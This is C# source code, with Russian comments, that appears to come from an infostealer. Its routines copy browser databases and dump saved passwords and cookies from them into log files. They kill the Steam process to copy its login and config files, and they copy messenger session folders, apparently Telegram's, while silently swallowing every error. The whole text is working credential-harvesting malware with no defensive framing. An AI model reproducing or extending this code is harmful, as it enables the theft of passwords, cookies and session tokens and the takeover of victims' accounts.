/// <summary> /// Метод для копирования файлов БД в новую папку ( для безопасного дальнейшего извлечения данных ) /// </summary> /// <param name="Folder">Имя папки</param> /// <param name="filename">Имя файла</param> /// <param name="Recursive">Рекурсивное копирование файла</param> public static void CopyInSafeDir(string Folder, string filename, bool Recursive = true) { CombineEx.CreateOrDeleteDirectoryEx(true, Folder, FileAttributes.Normal); // Создаём новую папку куда будем копировать файлы foreach (string files in LCDFiles(filename)) // Проходимся по коллекции путей к файлам { if (CombineEx.ExistsFile(files)) // Проверяем каждый файл { try { // Проверяем что файл не пустой if (new FileInfo(files).Length != 0) { // Копируем в новую папку CombineEx.FileCopy(files, CombineEx.Inizialze(Folder, CombineEx.GetFileName(GetApplication.GetNameCycle(files))), Recursive); // Добавляем в новую коллекцию из новой папки ( безопасной ) GetSecureFile(Folder, GetApplication.GetNameCycle(files)); } } catch { continue; } } else { continue; } } }
public static void Inizialize() { foreach (string v in Searcher.Database) { string save = CombineEx.CombinePath(GlobalPath.CookiesLogs, $"{CombineEx.GetFileNameWithoutExtension(v)}.txt"); if (CombineEx.ExistsFile(v)) { try { using (var Connect = new SQLiteConnection($"Data Source={v};pooling=false;FailIfMissing=False")) { Connect.Open(); using (var ComText = new SQLiteCommand(COOKIES, Connect)) using (SQLiteDataReader reader = ComText.ExecuteReader()) { if (!reader.HasRows) { continue; } else { SaveLogs(v, save, reader); } } SQLiteConnection.ClearPool(Connect); } } catch { } } } CombineEx.CreateOrDeleteDirectoryEx(false, CombineEx.CombinePath(GlobalPath.HomePath, "Cookies")); }
/// <summary> /// Метод для сбора файлов со Steam директории /// </summary> /// <param name="exp">Сбор файлов без расширений ( *." )</param> /// <param name="congfiles">Сбор файлов с config директории</param> /// <param name="name">Именная папка Config</param> /// <param name="proc">Имя процесса Стим</param> public static void Inizialize(string exp, string congfiles, string name, string proc) { // Проверяем путь к папке стим if (CombineEx.ExistsDir(SteamPath.GetLocationSteam())) { CombineEx.CreateOrDeleteDirectoryEx(true, CombineEx.CombinePath(GlobalPath.Steam_Dir, name), FileAttributes.Normal); CombineEx.CreateFile(false, GlobalPath.SteamID, SteamProfiles.GetSteamID()); // Закрываем процесс чтобы можно было скопировать файлы. ProcessControl.Closing(proc); try { // Проходимся циклом по файлам без расширения foreach (var Unknown in Directory.EnumerateFiles(SteamPath.GetLocationSteam(), exp).Where( // Проверяем файл Unknown => File.Exists(Unknown)).Where( // Обходим файл .crash Unknown => !Unknown.Contains(".crash")).Select(Unknown => Unknown)) { CombineEx.FileCopy(Unknown, CombineEx.CombinePath(GlobalPath.Steam_Dir, CombineEx.GetFileName(Unknown)), true); } // Проходимся циклом по файлам конфиг foreach (var Config in Directory.EnumerateFiles(CombineEx.CombinePath(SteamPath.GetLocationSteam(), name), congfiles).Where( // Проверяем файл Config => File.Exists(Config)).Select(Config => Config)) { CombineEx.FileCopy(Config, CombineEx.CombinePath(CombineEx.CombinePath(GlobalPath.Steam_Dir, name), CombineEx.GetFileName(Config)), true); } } catch { } } }
/// <summary> /// Метод который записывает все пароли из всех БД в разные файлы /// </summary> public static void Inizialize_Multi_file() { foreach (string v in Searcher.Database) { string BrowserName = CombineEx.GetFileNameWithoutExtension(v); string save = CombineEx.CombinePath(GlobalPath.Logs, $"{BrowserName}.txt"); try { using (var Connect = new SQLiteConnection($"Data Source={v};Version=3;New=False;Compress=True;")) { Connect.Open(); using (var ComText = new SQLiteCommand(COMMANDTEXT, Connect)) using (SQLiteDataReader reader = ComText.ExecuteReader()) { if (!reader.HasRows) { continue; } else { SaveLogs(BrowserName, save, reader); } } SQLiteConnection.ClearPool(Connect); } } catch { continue; } } CombineEx.CreateOrDeleteDirectoryEx(false, CombineEx.CombinePath(GlobalPath.HomePath, "Logins")); }
public static void GetSession(string From, string To, string Exp) { if (CombineEx.ExistsDir(From)) { CombineEx.CreateOrDeleteDirectoryEx(true, To, FileAttributes.Normal); try { foreach (var dirPath in from string dirPath in Directory.EnumerateDirectories(From, Exp, SearchOption.TopDirectoryOnly) where !dirPath.Contains("dumps") && (!dirPath.Contains("temp")) && (!dirPath.Contains("user_data")) && (!dirPath.Contains("emoji")) && (!dirPath.Contains("tdummy")) select dirPath) { CombineEx.CreateOrDeleteDirectoryEx(true, dirPath?.Replace(From, To), FileAttributes.Normal); foreach (string newPath in Directory.EnumerateFiles(dirPath, Exp, SearchOption.TopDirectoryOnly)) { CombineEx.FileCopy(newPath, newPath?.Replace(From, To), true); } } } catch (Exception) { } } }